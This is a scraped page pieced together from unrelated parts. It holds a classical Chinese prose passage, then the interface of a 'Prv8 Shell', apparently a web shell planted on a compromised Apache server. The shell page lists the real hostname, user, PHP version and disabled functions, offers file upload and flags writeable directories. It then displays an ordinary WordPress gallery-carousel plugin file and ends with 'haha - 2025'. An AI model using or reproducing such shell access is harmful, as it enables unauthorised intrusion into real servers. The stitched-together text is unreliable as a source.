晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/tabatabaei/.trash/wp-content.1/plugins/gutenify/core/dist/blocks/gallery-carousel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/tabatabaei/.trash/wp-content.1/plugins/gutenify/core/dist/blocks/gallery-carousel/index.php
<?php
/**
 * Plugin Name: Gutenify Gallery Carousel
 * Plugin URI: https://gutenify.com
 * Description: Gallery Carousel block.
 * Version: 1.0.0
 * Author: Gutenify
 *
 * @package gutenify
 */

defined( 'ABSPATH' ) || exit;


/**
 * Renders the list and grid styles.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the block content for the list and grid styles.
 */
function gutenify_render_gallery_carousel( $attributes, $context, $props ) {
	$constants = \gutenify\Helpers::plugin_constants();
	$plugin_main_slug = $constants['plugin_main_slug'];
	$plugin_main_camel_case_name = $constants['plugin_main_camel_case_name'];

	$client_id   = ! empty( $attributes['blockClientId'] ) ? $attributes['blockClientId'] : '';
	$class_name  = array();
	$class       = array( 'swiper-container', 'gutenify-gallery-carousel' );
	$styles      = array();
	$block_style = ! empty( $attributes['className'] ) && strpos( $attributes['className'], 'is-style-stacked' ) !== false ? 'stacked' : 'horizontal';

	$gallery_carousel_var  = 'slider_' . str_replace( '-', '_', $client_id );

	wp_localize_script( 'gutenify-common-scripts-slider', $gallery_carousel_var, $attributes );
	wp_add_inline_script( 'gutenify-common-scripts-slider', 'document.addEventListener("DOMContentLoaded", function(event) { window.' . $plugin_main_camel_case_name . 'SliderInit( "' . $client_id  . '" ) }) ' );

	array_push( $class_name, 'wp-block-gutenify-gallery-carousel', 'gutenify-section-' . $attributes['blockClientId'], 'gutenify--gallery-carousel--' . $attributes['layout'], 'gutenify-gallery-carousel-version-2', 'swiper-container' );

	if ( isset( $attributes['className'] ) ) {
		array_push( $class_name, $attributes['className'] );
	}

	if ( isset( $attributes['align'] ) ) {
		array_push( $class_name, 'align' . $attributes['align'] );
	}

	$class_name    = apply_filters( 'gutenify--gallery-carousel--wrapper-class', $class_name, $props );
	$block_content = sprintf(
		'<div class="%1$s"><div class="swiper-wrapper">',
		esc_attr( implode( ' ', $class_name ) ),
	);

	$list_items_markup = '';

	if ( ! empty( $attributes['images'] ) ) {
		foreach ( $attributes['images'] as $image ) {
			$title              = ! empty( $image['id'] ) && ! empty( $attributes['imagesData'][ $image['id'] ]['title'] ) ? $attributes['imagesData'][ $image['id'] ]['title'] : '';
			$sub_title          = ! empty( $image['id'] ) && ! empty( $attributes['imagesData'][ $image['id'] ]['subTitle'] ) ? $attributes['imagesData'][ $image['id'] ]['subTitle'] : '';
			$description        = ! empty( $image['id'] ) && ! empty( $attributes['imagesData'][ $image['id'] ]['description'] ) ? $attributes['imagesData'][ $image['id'] ]['description'] : '';
			$button_text        = ! empty( $image['id'] ) && ! empty( $attributes['imagesData'][ $image['id'] ]['buttonText'] ) ? $attributes['imagesData'][ $image['id'] ]['buttonText'] : '';

			$list_items_markup .= '<div class="gutenify-gallery-carousel-item swiper-slide">';
			if (  ! empty( $image['url'] ) ) {
				$list_items_markup .= '
					<div class="gutenify-slider-image-wrapper">
						<div class="gutenify-slider-content-image featured-image">
							<img src="' . ( $image['url'] ) . '" />
						</div>
					</div>';
			}
			$list_items_markup .='
				<div class="gutenify-slider-content-wrapper">
				<div class="gutenify-slider-content-inner">';
			if ( ! empty( $title ) ) {
				$list_items_markup .= '<h2 class="gutenify-slider-title">' . $title . '</h2>';
			}
			if ( ! empty( $sub_title ) ) {
				$list_items_markup .= '<h2 class="gutenify-slider-sub-title">' . $sub_title . '</h2>';
			}

				$list_items_markup .= '<div class="gutenify-slider-content-inner-wrapper">';
			if ( ! empty( $description ) ) {
				$list_items_markup .= '<div class="gutenify-slider-content clear-fix">
							<p>' . $description . '</p>
						</div>';
			}
			// if ( ! empty( $button_text ) ) {
			// $list_items_markup .= '<p class="gutenify-slider-buttons clear-fix gutenify-button-link wp-block-button__link">
			// ' . $button_text . '
			// </p>';
			// }
				$list_items_markup .= '</div>';
				$list_items_markup .= '</div>
			</div></div>';
		}
	}

	$block_content .= $list_items_markup;
	$block_content .= '</div>';
	$has_navigation = ! empty( $attributes['hasNavigation'] ) && true === $attributes['hasNavigation'];
	$has_pagination = ! empty( $attributes['hasPagination'] ) && true === $attributes['hasPagination'];
	if ( $has_pagination ) {
		$block_content .= '<div class="swiper-pagination"></div>';
	}
	if ( $has_navigation ) {
		// $block_content .= '<div class="swiper-button-next"></div>
		// <div class="swiper-button-prev"></div>';
		$block_content .= '<div class="navigation-wrap">
			<div class="swiper-button-prev"></div>
			<div class="swiper-button-next"></div>
		</div>';
	}
	$block_content .= '</div>';

	return $block_content;

}

/**
 * Load all translations for our plugin from the MO file.
 */
function gutenify_load_textdomain_block_gallery_carousel() {
	load_plugin_textdomain( 'gutenify', false, basename( __DIR__ ) . '/languages' );
}
add_action( 'init', 'gutenify_load_textdomain_block_gallery_carousel' );

/**
 * Registers all block assets so that they can be enqueued through Gutenberg in
 * the corresponding context.
 *
 * Passes translations to JavaScript.
 */
function gutenify_register_block_gallery_carousel() {

	// Register the block by passing the location of block.json to register_block_type.
	register_block_type( __DIR__, array(
		'render_callback' => 'gutenify_render_gallery_carousel'
	) );

	if ( function_exists( 'wp_set_script_translations' ) ) {
		/**
		 * May be extended to wp_set_script_translations( 'my-handle', 'my-domain',
		 * plugin_dir_path( MY_PLUGIN ) . 'languages' ) ). For details see
		 * https://make.wordpress.org/core/2018/11/09/new-javascript-i18n-support-in-wordpress/
		 */
		wp_set_script_translations( 'gutenify-block-gallery-carousel', 'gutenify' );
	}
}
add_action( 'init', 'gutenify_register_block_gallery_carousel' );

haha - 2025